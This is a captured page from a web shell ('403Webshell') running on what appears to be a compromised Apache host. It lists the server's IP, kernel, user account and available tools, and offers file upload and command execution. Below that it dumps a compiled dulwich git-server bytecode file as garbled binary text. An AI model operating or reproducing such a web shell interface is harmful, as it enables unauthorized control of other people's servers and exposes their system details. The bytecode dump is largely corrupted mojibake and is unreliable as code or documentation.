403Webshell
Server IP : 217.160.0.244  /  Your IP : 216.73.217.138
Web Server : Apache
System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u100174116 ( 6746176)
PHP Version : 8.5.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/dulwich/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/dulwich/__pycache__/server.cpython-313.pyc
�

mEdg���R�SrSSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKJ	r	J
r
 SSKJr SSK
JrJr SSK
Jr SSKJr SS	KJr SS
KJrJrJrJrJrJrJr SSKJr SSK J!r!J"r"J#r# SS
K$J%r%J&r&J'r' SSK(J)r)J*r*J+r+J,r,J-r-J.r.J/r/J0r0J1r1J2r2J3r3J4r4J5r5J6r6J7r7J8r8J9r9J:r:J;r;J<r<J=r=J>r>J?r?J@r@JArAJBrBJCrCJDrDJErEJFrFJrJGrGJHrHJIrIJJrJJKrKJLrLJMrMJNrNJOrOJPrP SSKQJRrRJSrSJTrT SSKUJVrV \R�"\X5rY"SS5rZ"SS\5r["SS\Z5r\"SS\Z5r]"SS5r^"SS\^5r_"SS\_5r`SraS \%4S!jrbS \%S"\c4S#jrdS \%S"\c4S$jre"S%S&5rf"S'S(5rg\9\8S4rh"S)S*\f5ri"S+S,\f5rj"S-S.\f5rk"S/S0\_5rl"S1S2\^5rm\`\l\mS3.rn"S4S5\R�5rp"S6S7\R�5rr\R�4S>S8jjrt\R�S\R�\R�4S"\w4S9jjrxS:ryS;rzS>S<jr{\XS=:Xa\t"5 gg)?a�Git smart network protocol server implementation.

For more detailed implementation on the network protocol, see the
Documentation/technical directory in the cgit distribution, and in particular:

* Documentation/technical/protocol-capabilities.txt
* Documentation/technical/pack-protocol.txt

Currently supported capabilities:

 * include-tag
 * thin-pack
 * multi_ack_detailed
 * multi_ack
 * side-band-64k
 * ofs-delta
 * no-progress
 * report-status
 * delete-refs
 * shallow
 * symref
�N)�Iterable�Iterator)�partial)�Optional�cast)�Protocol)�	log_utils�)�
tar_stream)�ApplyDeltaError�ChecksumMismatch�GitProtocolError�	HookError�NotGitRepository�ObjectFormatException�UnexpectedCommandError)�peel_sha)�Commit�ObjectID�valid_hexsha)�ObjectContainer�PackedObjectContainer�write_pack_from_container))�CAPABILITIES_REF�CAPABILITY_AGENT�CAPABILITY_DELETE_REFS�CAPABILITY_INCLUDE_TAG�CAPABILITY_MULTI_ACK�CAPABILITY_MULTI_ACK_DETAILED�CAPABILITY_NO_DONE�CAPABILITY_NO_PROGRESS�CAPABILITY_OFS_DELTA�CAPABILITY_QUIET�CAPABILITY_REPORT_STATUS�CAPABILITY_SHALLOW�CAPABILITY_SIDE_BAND_64K�CAPABILITY_THIN_PACK�COMMAND_DEEPEN�COMMAND_DONE�COMMAND_HAVE�COMMAND_SHALLOW�COMMAND_UNSHALLOW�COMMAND_WANT�	MULTI_ACK�MULTI_ACK_DETAILED�NAK_LINE�SIDE_BAND_CHANNEL_DATA�SIDE_BAND_CHANNEL_FATAL�SIDE_BAND_CHANNEL_PROGRESS�
SINGLE_ACK�TCP_GIT_PORT�ZERO_SHA�BufferedPktLineWriterr�ReceivableProtocol�ack_type�capability_agent�extract_capabilities�extract_want_line_capabilities�format_ack_line�format_ref_line�format_shallow_line�format_unshallow_line�symref_capabilities)�PEELED_TAG_SUFFIX�
RefsContainer�write_info_refs)�Repoc�"�\rSrSrSrSSjrSrg)�Backend�zz2A backend for the Git smart server implementation.c�,�[UR5e)z�Open the repository at a path.

Args:
  path: Path to the repository
Raises:
  NotGitRepository: no git repository was found at path
Returns: Instance of BackendRepo
)�NotImplementedError�open_repository)�self�paths  �0/usr/lib/python3/dist-packages/dulwich/server.pyrK�Backend.open_repository}s��"�$�"6�"6�7�7��N)�return�BackendRepo)�__name__�
__module__�__qualname__�__firstlineno__�__doc__rK�__static_attributes__rQrPrNrGrGzs
��<�	8rPrGc�x�\rSrSr%Sr\\S'\\S'S\\	\	44Sjr
S\	S\\	4SjrSS\
\4S
jjrSrg	)
rS�zRepository abstraction used by the Git server.

The methods required here are a subset of those provided by
dulwich.repo.Repo.
�object_store�refsrRc��[e)zBGet all the refs in the repository.

Returns: dict of name -> sha
�rJ�rLs rN�get_refs�BackendRepo.get_refs�s
��
"�!rP�namec��g)acReturn the cached peeled value of a ref, if available.

Args:
  name: Name of the ref to peel
Returns: The peeled value of the ref. If the ref is known not point to
    a tag, this will be the SHA the ref refers to. If no cached
    information about a tag is available, this method may return None,
    but it should attempt to peel the tag if possible.
NrQ)rLrcs  rN�
get_peeled�BackendRepo.get_peeled�s��rPNc��[e)z�Yield the objects required for a list of commits.

Args:
  progress: is a callback to send progress messages to the client
  get_tagged: Function that returns a dict of pointed-to sha ->
    tag sha for including tags.
r_)rL�determine_wants�graph_walker�progress�
get_taggeds     rN�find_missing_objects� BackendRepo.find_missing_objects�s
��"�!rPrQ�N)rTrUrVrWrXr�__annotations__rC�dict�bytesrarrerrrlrYrQrPrNrSrS�s_���(�'�
��"�$�u�e�|�,�"�
�u�
��%��
�CG�
"�	�(�	�
"�
"rPrSc�4�\rSrSrSrS	SjrS\S\4SjrSr	g)
�DictBackend�z?Trivial backend that looks up Git repositories in a dictionary.rRNc��Xlgrn��repos)rLrws  rN�__init__�DictBackend.__init__�s���
rPrMc��[RSU5 URU$![a(n[	SR
"S0[
US9D65UeSnAff=f)NzOpening repository at %sz%No git repository was found at {path})rMrQ)�logger�debugrw�KeyErrorr�formatrp)rLrM�excs   rNrK�DictBackend.open_repository�sZ�����/��6�	��:�:�d�#�#���	�"�7�>�>�Q��4��Q���
��	�s�'�
A�#A�Arv�rRN)
rTrUrVrWrXrx�strrSrKrYrQrPrNrsrs�s��I���C��K�rPrsc�P^�\rSrSrSr\R4SU4SjjjrSrSr	U=r
$)�FileSystemBackend��zDSimple backend looking up Git repositories in the local file system.c��>�[TU]5 [RR	U5[R
-R
[R
S-[R
5Ulg)N�)�superrx�osrM�abspath�sep�replace�root)rLr��	__class__s  �rNrx�FileSystemBackend.__init__�sD���
�����W�W�_�_�T�*�R�V�V�3�<�<�R�V�V�a�Z����P��	rPc���[RSU5 [RR	[RRURU55[R-n[RRU5n[RRUR5nURU5(d[SU<SUR<35e[U5$)Nzopening repository at %szPath z not inside root )r{r|r�rMr��joinr�r��normcase�
startswithrrE)rLrMr��normcase_abspath�
normcase_roots     rNrK�!FileSystemBackend.open_repository�s������/��6��'�'�/�/�"�'�'�,�,�t�y�y�$�"?�@�2�6�6�I���7�7�+�+�G�4�����(�(����3�
��*�*�=�9�9�"�U�4�(�2C�D�I�I�=�#Q�R�R��G�}�rP)r�r�)rTrUrVrWrXr�r�rxrKrY�
__classcell__�r�s@rNr�r��s#���N��F�F�Q�Q��rPr�c�0�\rSrSrSrSSSjjrSSjrSrg)	�Handler��z*Smart protocol command handler base class.Nc�(�XlX lX0lgrn��backend�proto�
stateless_rpc)rLr�r�r�s    rNrx�Handler.__init__�s�����
�*�rPc�,�[UR5ern)rJ�handler`s rNr��Handler.handle�s��!�$�+�+�.�.rPr��Fr�)rTrUrVrWrXrxr�rYrQrPrNr�r��s��4�+�
/rPr�c��^�\rSrSrSrSSU4Sjjjr\S\\4Sj5r	\S\\4Sj5r
\S\\4Sj5rS	\\SS4S
jrS\S\
4SjrSS
jrSrU=r$)�PackHandler��zProtocol handler for packs.rRNc�B>�[TU]XU5 SUlSUlg�NF)r�rx�_client_capabilities�_done_received)rLr�r�r�r�s    �rNrx�PackHandler.__init__�s"���
�����7�:>��!�#��rPc�,�[UR5ern)rJ�capabilities��clss rNr��PackHandler.capabilities�s��!�#�"2�"2�3�3rPc�@�[[[[[	5/$rn)rr'r!r"r:r�s rN�innocuous_capabilities�"PackHandler.innocuous_capabilities�s ��
#� �"� ���
�	
rPc��/$)zAReturn a list of capabilities that we require the client to have.rQr�s rN�required_capabilities�!PackHandler.required_capabilities�s	���	rP�capsc��[UR55nURUR55 UH7nUR	[
S-5(aM"X2;dM)[
SU<S35e UR5HnX1;dM
[
SU<S35e [U5Ul[RSU5 g)N�=zClient asked for capability z that was not advertised.z,Client does not support required capability �.zClient capabilities: %s)�setr��updater�r�rrr�r�r{�info)rLr��allowable_caps�caps    rN�set_client_capabilities�#PackHandler.set_client_capabilities�s����T�8�8�:�;�����d�/�/�1�2��C��~�~�.��5�6�6���(�&�2�3�'�9V�V���	��-�-�/�C���&�E�c�W�A�N���0�
%(��I��!����-�t�4rPr�c�X�URc[SU<S35eXR;$)Nz&Server attempted to access capability z before asking client)r�r)rLr�s  rN�has_capability�PackHandler.has_capabilitys9���$�$�,�"�8���?X�X��
��/�/�/�/rPc��SUlg)NT)r�r`s rN�notify_done�PackHandler.notify_dones
��"��rP)r�r�r�r�)rTrUrVrWrXrx�classmethodrrqr�r�r�r��boolr�r�rYr�r�s@rNr�r��s����%�$�$��4�X�e�_�4��4��
�x���
��
���h�u�o����5�H�U�O�5��5�$0�%�0�D�0�#�#rPr�c�^�\rSrSrSrSSU4Sjjjr\S5r\S5rS\	SS4S	jr
SS
jrSS\\
\
44SjjrSSjrS
rU=r$)�UploadPackHandleriz4Protocol handler for uploading a pack to the client.rRNc�|>�[TU]XUS9 URUS5UlSUlXPlSUlg)N�r�rF)r�rxrK�repo�
_graph_walker�advertise_refs�_processing_have_lines�rLr��argsr�r�r�r�s      �rNrx�UploadPackHandler.__init__sE���	����}��E��+�+�D��G�4��	�!���,��',��#rPc	�`�[[[[[[
[[[/	$rn)	rrr&r'r"r!rr%r r�s rNr��UploadPackHandler.capabilities(s)��
*� �$� � �"�"���

�
	
rPc�$�[[[4$rn)r&r'r"r�s rNr��'UploadPackHandler.required_capabilities6s��
%� � �
�	
rP�messagec��grnrQ)rLr�s  rNrj�UploadPackHandler.progress>���rPc�H�UR[5(amUR[5(d)[URR
[5Ul[URR
[5Ul	gURRUl	grn)r�r&r!rr��write_sidebandr3rjr1�write_pack_data�writer`s rN�_start_pack_send_phase�(UploadPackHandler._start_pack_send_phaseAsw�����7�8�8��&�&�'=�>�>� '��J�J�-�-�/I�!��
�$+��
�
�)�)�+A�$�D� �$(�:�:�#3�#3�D� rPc�$�UR[5(d0$UcURR5nUc[	URSS5nUc0$0nUR5H!upEUR
U5nXe:wdMXSU'M# U$)a|Get a dict of peeled values of tags to their original tag shas.

Args:
  refs: dict of refname -> sha of possible tags; defaults to all
    of the backend's refs.
  repo: optional Repo instance for getting peeled refs; defaults
    to the backend's repo, if available
Returns: dict of peeled_sha -> tag_sha, where tag_sha is the sha of a
    tag whose peeled value is peeled_sha.
Nr�)r�rr�ra�getattr�itemsre)rLr]r��taggedrc�sha�
peeled_shas       rNrk�UploadPackHandler.get_taggedPs����"�"�#9�:�:��I��<��9�9�%�%�'�D��<��4�9�9�f�d�3�D��|�
�	�������I�D�����.�J�� �%(�z�"�&��
rPc��^^�SUl[UURRURRURR
R5m/mUU4SjnURRUTURURS9n[U5n[T5S:XagTRUR[5(+UR5(dgUR!5 URS[U5S3R#S55 [%UR&URRU5 UR(R+S5 g)NTc�L>�TRTR"U40UD65 T$rn)�extendrh)r]�kwargsri�wantss  ��rN�
wants_wrapper�/UploadPackHandler.handle.<locals>.wants_wrapper~s$����L�L��5�5�d�E�f�E�F��LrP)rkrzcounting objects: z, done.
�ascii)r��_ProtocolGraphWalkerr�r\rer]�get_symrefsrlrjrk�list�len�handle_doner�r r�r��encoderr�r��write_pkt_line)rLr��missing_objects�
object_idsrir�s    @@rNr��UploadPackHandler.handleps3���'+��#�+���I�I�"�"��I�I� � ��I�I�N�N�&�&�	
����	��)�)�8�8����M�M����	9�
���/�*�
��u�:��?���'�'��#�#�$6�7�7��9L�9L�
�
�
��#�#�%��
�
�+�C�
�O�+<�I�F�N�N�w�W�X�!�� � �$�)�)�"8�"8�*�	
�	
�
�
�!�!�$�'rP)r�r�r�rjr�r��FFr�)NN)rTrUrVrWrXrxr�r�r�rqrjr�rprrkr�rYr�r�s@rNr�r�s����>�IN�
,�	
�
,�
,��
��
��
��
�
��
�$�
�
4��$�x��7I�2J��@0(�0(rPr�c��U(dS/nO!URS5RSS5nUSnUbX1;a[U5e[U5S:XaU[S4;aUS4$[U5S:Xa]U[
[[[4;a)[US5(d[S5e[U5$U[:XaU[US54$[SU<35e)	a'Split a line read from the wire.

Args:
  line: The line read from the wire.
  allowed: An iterable of command names that should be allowed.
    Command names not listed below as possible return values will be
    ignored.  If None, any commands from the possible return values are
    allowed.
Returns: a tuple having one of the following forms:
    ('want', obj_id)
    ('have', obj_id)
    ('done', None)
    (None, None)  (for a flush-pkt)

Raises:
  UnexpectedCommandError: if the line cannot be parsed into one of the
    allowed return values.
N�
� r
rr�zInvalid shaz#Received invalid line from client: )�rstrip�splitrr�r)r-r*r+r,rr�tupler(�int)�line�allowed�fields�commands    rN�_split_proto_liner
�s���&�������U�#�)�)�$��2���Q�i�G���w�5�$�W�-�-�
�6�{�a��G��d�';�;�����	�V���	������	
�
� ��q�	�*�*�&�}�5�5���=� �
��
&��C��q�	�N�*�*�
�@���I�
J�JrP�storec��^^^
�0m
U
U4Sjn/nUHEn[TU5upg[U[5(dM(URURS45 MG [5n[5n	U(aiUR
5up�X�:a8URU
5 US-mURU4SjU"U
555 OU	RU
5 U(aMiX�4$)a�Find shallow commits according to a given depth.

Args:
  store: An ObjectStore for looking up objects.
  heads: Iterable of head SHAs to start walking from.
  depth: The depth of ancestors to include. A depth of one includes
    only the heads themselves.
Returns: A tuple of (shallow, not_shallow), sets of SHAs that should be
    considered shallow and unshallow according to the arguments. Note that
    these sets may overlap if a commit is reachable along multiple paths.
c�b>�TRUS5nU(dTURnUTU'U$rn)�get�parents)r��resultrrs  ��rN�get_parents�"_find_shallow.<locals>.get_parents�s3������S�$�'����3�Z�'�'�F�!�G�C�L��
rPr
c3�*># �UHoT4v� M
 g7frnrQ)�.0�p�	new_depths  �rN�	<genexpr>� _find_shallow.<locals>.<genexpr>�s����A�0@�1�I��0@�s�)	r�
isinstancer�append�idr��pop�addr�)r�heads�depthr�todo�head_sha�	_unpeeled�peeled�not_shallow�shallowr��	cur_depthrrs`           @@rN�
_find_shallowr'�s����)+�G���D���$�U�H�5��	��f�f�%�%��K�K����A��'��
�%�K��e�G�
����������O�O�C� �!�A�
�I��K�K�A��C�0@�A�A��K�K����$���rPrRc��Xn[R"U/5nU1nU(a�UR5nURU;ag[	U[
5(dM?URHYnX�;aM
URU5 Xn	[	U	[
5(deU	RU:�dMHURU	5 M[ U(aM�g)NTF)
�collections�deque�popleftrrrrr�commit_timer)
r�haves�want�earliest�o�pending�known�commit�parent�
parent_objs
          rN�_want_satisfiedr6�s���
��A������$�G�
�F�E�
����"���9�9�����&�&�)�)���n�n�F�����I�I�f����J��j�&�1�1�1�1��%�%��1����z�*�%��'� rPc	��[U5nU(aRUVs/sHo0UPM	 nn[UVs/sH&n[U[5(dMURPM( sn5nOSnUHn[XXe5(aM g gs snfs snf)abCheck whether all the current wants are satisfied by a set of haves.

Args:
  store: Object store to retrieve objects from
  haves: A set of commits we know the client has.
  wants: A set of commits the client wants
Note: Wants are specified with set_wants rather than passed in since
    in the current interface they are determined outside this class.
rFT)r��minrrr,r6)rr-r��h�	have_objsr/r.s       rN�_all_wants_satisfiedr;sz��
��J�E��',�-�u�!�1�X�u�	�-��y�R�y�!�J�q�&�<Q�
��
�
�y�R�S�������u�T�<�<�����.��Rs�B�B	�
B	c�,�\rSrSrSrS\SS4SjrSrg)�AckGraphWalkerImpli%c��[ernr_)rLris  rNrx�AckGraphWalkerImpl.__init__&���!�!rP�have_refrRNc��[ernr_�rLrAs  rN�ack�AckGraphWalkerImpl.ack)r@rPrQ)rTrUrVrWrxrrDrYrQrPrNr=r=%s��"�"�H�"��"rPr=c��\rSrSrSrS\SS4SjrSSjrSSjrSS	jr	S
r
SSjrSr\r
S
rSSjrSSjrSSSjjrSSjrSrSSjrSrSSjrSrg)r�i-aA graph walker that knows the git protocol.

As a graph walker, this class implements ack(), next(), and reset(). It
also contains some base methods for interacting with the wire and walking
the commit tree.

The work of determining which acks to send is passed on to the
implementation instance stored in _impl. The reason for this is that we do
not know at object creation time what ack level the protocol requires. A
call to set_ack_type() is required to set up the implementation, before
any calls to next() or ack() are made.
r\rRNc�:�XlX lX0lX@lURUlUR
UlURUl/Ul[5Ul	[5Ul
[5UlSUl/Ul
SUlSUlg)NFr)�handlerrrer�r�r�r��_wantsr�r%�client_shallow�	unshallow�_cached�_cache�_cache_index�_impl)rLrHr\rer�s     rNrx�_ProtocolGraphWalker.__init__;s�����&2�
�$��&���]�]��
�$�2�2���%�4�4���#%���#&�5���*-�%���%(�U������#%������37��
rPc
���UR5n[UR55nUR(dUR(Gd;[[
UR555H�unupgURU5nUS:Xan[RSURR55 [UUURR5[UR55-5n	O[Xg5n	UR R#U	5 X�:wdM�UR R#[U[$-U55 M� UR R#S5 UR(a/$UR R'5n
U
(d/$[)U
5up�URR+U5 UR-[/U55 [0[2[4S4n[7X�5up�/nU
[0:XaCXt;a[9SU35eUR;U5 UR=U5up�U
[0:XaMCUR?U5 U
[2[44;a"URAX�5 URCU5 UR(a!UR RE5(a/$U$![a GMqf=f)a�Determine the wants for a set of heads.

The given heads are advertised to the client, who then specifies which
refs they want using 'want' lines. This portion of the protocol is the
same regardless of ack type, and in fact is used to set the ack type of
the ProtocolGraphWalker.

If the client has the 'shallow' capability, this method also reads and
responds to the 'shallow' and 'deepen' lines from the client. These are
not part of the wants per se, but they set up necessary state for
walking the graph. Additionally, later code depends on this method
consuming everything up to the first 'have' line.

Args:
  heads: a dict of refname->SHA1 to advertise
Returns: a list of SHA1s requested by the client
r�Sending capabilities: %sNzClient wants invalid object )#r�r��valuesr�r��	enumerate�sortedr�rer}r{r�rHr�r>rAr�r�rB�
read_pkt_liner<r��set_ack_typer9r-r+r(r
rr�read_proto_line�	set_wants�unread_proto_line�_handle_shallow_request�eof)rLrr�symrefsrS�i�refr�r�rr.r�rr	�	want_revss               rNrh�$_ProtocolGraphWalker.determine_wantsNsT��$�"�"�$���U�\�\�^�$�����d�&8�&8�&8�!*�6�%�+�+�-�+@�!A�
��:�C��!%����!5�J���6��K�K� :�D�L�L�<U�<U�<W�X�*������1�1�3�-�g�m�m�o�>�?��D�+�3�4�D��
�
�)�)�$�/��$��J�J�-�-�'��.?�(?��L��)"B�2
�J�J�%�%�d�+��"�"��	��z�z�'�'�)����I�3�D�9�
�����,�,�T�2����(�4�.�)���.�$�G��(��7����	���%�� �&�)E�c�U�'K�L�L����S�!��/�/��8�L�G�	��%�	
���y�!����7�7��"�"�7�0��(�(��3����$�*�*�.�.�"2�"2�
�I����q ���	�s�8K�
K!� K!c��[U[5(a[U5RS5nURRUS-U-5 g)Nr�r)rrr�r�r��unread_pkt_line)rLr	�values   rNrZ�&_ProtocolGraphWalker.unread_proto_line�s>���e�S�!�!���J�%�%�g�.�E��
�
�"�"�7�T�>�E�#9�:rPc��grnrQr`s rN�nak�_ProtocolGraphWalker.nak�r�rPc�t�[U5S:wa[SU<35eURRU5$)N�(zinvalid sha )r��
ValueErrorrOrDrCs  rNrD�_ProtocolGraphWalker.ack�s3���x�=�B���|�H�<�8�9�9��z�z�~�~�h�'�'rPc� �SUlSUlg)NTr)rLrNr`s rN�reset�_ProtocolGraphWalker.reset�s�������rPc�8�UR(d8UR(dUR(ag[UR5$U=RS-
slUR[UR5:�agURUR$)Nr
)rLrOr��nextrNr�rMr`s rNrq�_ProtocolGraphWalker.next�sj���|�|��:�:�$�"4�"4����
�
�#�#����Q������s�4�;�;�/�/���{�{�4�,�,�-�-rPc�J�[URR5U5$)z�Read a line from the wire.

Args:
  allowed: An iterable of command names that should be allowed.
Returns: A tuple of (command, value); see _split_proto_line.

Raises:
  UnexpectedCommandError: If an error occurred reading the line.
)r
r�rV)rLrs  rNrX�$_ProtocolGraphWalker.read_proto_line�s��!����!9�!9�!;�W�E�ErPc��UR[[45up#U[:XaUnOURR	U5 MGURS5 [URX5upVURRXV-
5 URUR-
nX`R-=o�l	[U5H'n	URR[U	55 M) [U5H'n	URR[U	55 M) URRS5 g)Nrn)rXr(r+rJrr'rr%r�rKrUr�r�r?r@)
rLr�r	�valrr%r$�new_shallowrKr�s
          rNr[�,_ProtocolGraphWalker._handle_shallow_request�s����/�/���0Q�R�L�G��.�(�������#�#�C�(��	
���W�%�,�T�Z�Z��F���	
�����G�1�2��l�l�T�%8�%8�8��%0�3F�3F�%F�F�	�N��+�&�C��J�J�%�%�&9�#�&>�?�'��)�$�C��J�J�%�%�&;�C�&@�A�%�	
�
�
�!�!�$�'rPc�8�URR5 grn)rHr�r`s rNr�� _ProtocolGraphWalker.notify_done�s����� � �"rPc�L�URR[X55 grn)r�r�r=)rLr�r9s   rN�send_ack�_ProtocolGraphWalker.send_ack�s���
�
�!�!�/�#�"@�ArPc�B�URR[5 grn)r�r�r0r`s rN�send_nak�_ProtocolGraphWalker.send_nak�s���
�
�!�!�(�+rPc�8�URRX5$rn)rOr��rL�
done_required�
done_receiveds   rNr�� _ProtocolGraphWalker.handle_done�s���z�z�%�%�m�C�CrPc��Xlgrn)rI)rLr�s  rNrY�_ProtocolGraphWalker.set_wants�s���rPc�B�[URXR5$)aCheck whether all the current wants are satisfied by a set of haves.

Args:
  haves: A set of commits we know the client has.
Note: Wants are specified with set_wants rather than passed in since
    in the current interface they are determined outside this class.
)r;rrI)rLr-s  rN�all_wants_satisfied�(_ProtocolGraphWalker.all_wants_satisfied�s��$�D�J�J��{�{�C�CrPc�b�[[[[[[
0nX!"U5Ulgrn)r.�MultiAckGraphWalkerImplr/�MultiAckDetailedGraphWalkerImplr4�SingleAckGraphWalkerImplrO)rLr9�impl_classess   rNrW�!_ProtocolGraphWalker.set_ack_type�s,���.�� ?��0�=
��
"�+�D�1��
rP)rMrNrLrOrIr�rJrer�rHr�r%r�rrKrnr�)rP)rTrUrVrWrXrrxrhrZrgrDrnrq�__next__rXr[r�r|rr�rYr�rWrYrQrPrNr�r�-st���8�%4�8�	
�8�&P�d;�

�(�
�.��H�
F�(�0#�B�,�D��D�2rPr�c�D�\rSrSrSrS
SjrS
SjrSr\rS\	4Sjr
S	rg)r�iz@Graph walker implementation that speaks the single-ack protocol.rRNc��Xl/Ulgrn��walker�_common�rLr�s  rNrx�!SingleAckGraphWalkerImpl.__init__�����$&��rPc��UR(d7URRU5 URRU5 ggrn)r�r�r|rrCs  rNrD�SingleAckGraphWalkerImpl.acks2���|�|��K�K� � ��*��L�L����)�rPc��URR[5upUS[4;aURR	5 gU[
:XaU$grn)r�rX�_GRAPH_WALKER_COMMANDSr)r�r*�rLr	r�s   rNrq�SingleAckGraphWalkerImpl.nextsK���{�{�2�2�3I�J����t�\�*�*��K�K�#�#�%��
��
$��J�%rPc��UR(dURR5 U(aU(dgU(dUR(dgg)NFT)r�r�rr�s   rNr��$SingleAckGraphWalkerImpl.handle_dones4���|�|��K�K� � �"�����T�\�\��rP�r�r�r��rTrUrVrWrXrxrDrqr�r�r�rYrQrPrNr�r�s'��J�'�*�
��H��4�rPr�c�D�\rSrSrSrS
SjrS
SjrSr\rS\	4Sjr
S	rg)r�i4z?Graph walker implementation that speaks the multi-ack protocol.rRNc�,�XlSUl/Ulgr�)r��_found_baser�r�s  rNrx� MultiAckGraphWalkerImpl.__init__7s���� ���$&��rPc��URRU5 UR(dOURR	US5 URRUR5(aSUlggg)N�continueT)r�rr�r�r|r�rCs  rNrD�MultiAckGraphWalkerImpl.ack<s\�������H�%�����K�K� � ��;�7��{�{�.�.�t�|�|�<�<�#'�� �=� rPc�D�URR[5upUcURR5 MAU[:XaURR5 gU[:Xa/UR(aURRUS5 U$M�)Nr�)	r�rXr�rr)r�r*r�r|r�s   rNrq�MultiAckGraphWalkerImpl.nextDs�����;�;�6�6�7M�N�L�G������$�$�&���L�(����'�'�)���L�(��#�#��K�K�(�(��k�:��
�rPc��U(aU(dgU(dUR(dgUR(a)URRURS5 gURR5 g�NF���T�r�r�r|rr�s   rNr��#MultiAckGraphWalkerImpl.handle_doneW�X������T�\�\���<�<��K�K� � ����b�!1�2��
�K�K� � �"�rP)r�r�r�r�r�rQrPrNr�r�4s'��I�'�
(��"�H��4�rPr�c�D�\rSrSrSrS
SjrS
SjrSr\rS\	4Sjr
S	rg)r�iozEGraph walker implementation speaking the multi-ack-detailed protocol.rRNc��Xl/Ulgrnr�r�s  rNrx�(MultiAckDetailedGraphWalkerImpl.__init__rr�rPc�r�URRU5 URRUS5 g)Nscommon)r�rr�r|rCs  rNrD�#MultiAckDetailedGraphWalkerImpl.ackvs(�������H�%������X�y�1rPc���URR[5upUc�URRUR5(a)URRURSS5 URR
5 URR(agO1U[:XaURR5 gU[:XaU$M�)Nr�sready)r�rXr�r�r�r|rr�r)r�r*r�s   rNrq�$MultiAckDetailedGraphWalkerImpl.next{s�����;�;�6�6�7M�N�L�G����;�;�2�2�4�<�<�@�@��K�K�(�(����b�)9�8�D����$�$�&��;�;�,�,� �-��L�(����'�'�)���L�(��
�-rPc��U(aU(dgU(dUR(dgUR(a)URRURS5 gURR5 gr�r�r�s   rNr��+MultiAckDetailedGraphWalkerImpl.handle_done�r�rPr�r�r�rQrPrNr�r�os'��O�'�2�
�6�H��4�rPr�c�^�\rSrSrSrSSU4Sjjjr\S\\4Sj5r	S\
\\\\4S\
\\\44SjrS	\
\\\4SS4S
jr
SSjrSSjrS
rU=r$)�ReceivePackHandleri�z8Protocol handler for downloading a pack from the client.rRNc�`>�[TU]XUS9 URUS5UlXPlg)Nr�r)r�rxrKr�r�r�s      �rNrx�ReceivePackHandler.__init__�s3���	����}��E��+�+�D��G�4��	�,�rPc�B�[[[[[[
/$rn)r$rr#r"r&r r�s rNr��ReceivePackHandler.capabilities�s ��
%�"�� �$��

�	
rPr]c���[[[[[[
R[R[4n/nSnUHnUS[:wdMSnM U(ad[URSS5nURRRURRU5 UR!S5 OUR!S5 UH�up�n
S
nU	[:XaJ[(UR+5;a[-S5eURR.R1X�5 O'URR.R3X�U	5 UR!X�45 M� U$!UaEnUR!S[#U5R%SS5R'S	545 SnAN�SnAff=f!Ua SnNpf=f!Ua S
nN~f=f![4a SnN�f=f)NFr
T�recv)�unpack�okr��
��utf-8r�z8Attempted to delete refs without delete-refs capability.sfailed to deletesfailed to writesbad ref)�IOError�OSErrorr
r�AssertionError�socket�error�zlibrr6r�r�r�r\�
add_thin_pack�readrr�r�r�rr�rr]�remove_if_equals�
set_if_equalsr})rLr]�all_exceptions�status�will_send_packr	r��e�oldshar�r_�
ref_statuss            rN�_apply_pack�ReceivePackHandler._apply_pack�s���
������L�L��J�J�!�	
�������G��q�z�X�%�!%����
U��t�z�z�6�4�8���	�	�&�&�4�4�T�Z�Z�_�_�d�K��
�
�0�1�
�M�M�,�-� $��F���J�
(��(�?�-�T�5F�5F�5H�H�.�*���9��	�	���7�7��D�8��	�	���4�4�S�#�F�

�M�M�3�+�,�)!%�,�
��?"�
U��
�
�y�#�a�&�.�.��r�*B�*I�*I�'�*R�S�T�T��
U��(*�9�%8�
�9��
*�8�%7�
�8���
(�'�
�
(�sg�%A"E7�$-G!�%G�9&G�7G�=;F=�=G�G�
G!�G�G!�G�G!�G�G!�!G0�/G0r�c�p^^�TR[5(a%[U4Sj5mTRnSUU4SjjnOTRR
nSSjnUHEupEUS:XaU"SU-S-5 MUS:XaU"SU-S-5 M1U"S	U-S
-U-S-5 MG U"S5 U"5 g)Nc�D>�TRR[U5$rn�r�r�r1)�drLs �rN�<lambda>�3ReceivePackHandler._report_status.<locals>.<lambda>s���$�*�*�3�3�4J�A�NrPc�\>�TR5 TRRS5 grn)�flushr�r�)rL�writers��rNr��0ReceivePackHandler._report_status.<locals>.flushs��������
�
�)�)�$�/rPc��grnrQrQrPrNr�r�s��rPr�sunpack rr�sok sng rr�)r�r&r7r�r�r�)rLr�r�r�rc�msgr�s`     @rN�_report_status�!ReceivePackHandler._report_statuss�������7�8�8�*�N��F��L�L�E�
0�
0�
�J�J�-�-�E�
� �I�D��y� ��j�3�&��.�/�����f�t�m�e�+�,��f�t�m�d�*�S�0�5�8�9�
 �	�d��
�rPc�r�URRRSS5nU(dgURU5nU(a!URR[U5 gg![aBnURR[[U5RS55 SnAgSnAff=f)Nzpost-receiver�)r��hooksr�executer�r�r3rr2r�r�)rL�client_refs�hook�output�errs     rN�_on_post_receive�#ReceivePackHandler._on_post_receives����y�y���"�"�>�4�8����	Y��\�\�+�.�F���
�
�)�)�*D�f�M����	Y��J�J�%�%�&=�s�3�x���w�?W�X�X��	Y�s�8A*�*
B6�48B1�1B6c
���UR(dUR(Gdh[URR	5R55n[URRR5R55nU(d
[[4/n[RSUR55 URR[USSUSSUR5[!U5-55 [#S[%U55H2nXnURR[USUS55 M4 URRS5 UR(ag/nURR'5nUcg[)U5upFUR+U5 U(aBUR-UR/55 URR'5nU(aMBUR1U5nUR3U5 UR5[65(aUR9U5 gg)NrRrr
)r�r�rUr�rar�r]r�rr6r{r�r�r�r�r>rA�ranger�rVr;r�rrr�r�r�r$r�)rLr]r]r^r_r�r�r�s        rNr��ReceivePackHandler.handle's������d�&8�&8�&8��$�)�)�,�,�.�4�4�6�7�D��T�Y�Y�^�^�7�7�9�?�?�A�B�G��)�8�4�5���K�K�2�D�4E�4E�4G�H��J�J�%�%����G�A�J���G�A�J��%�%�'�*=�g�*F�F��
��1�c�$�i�(���g���
�
�)�)�/�#�a�&�#�a�&�*I�J�)�
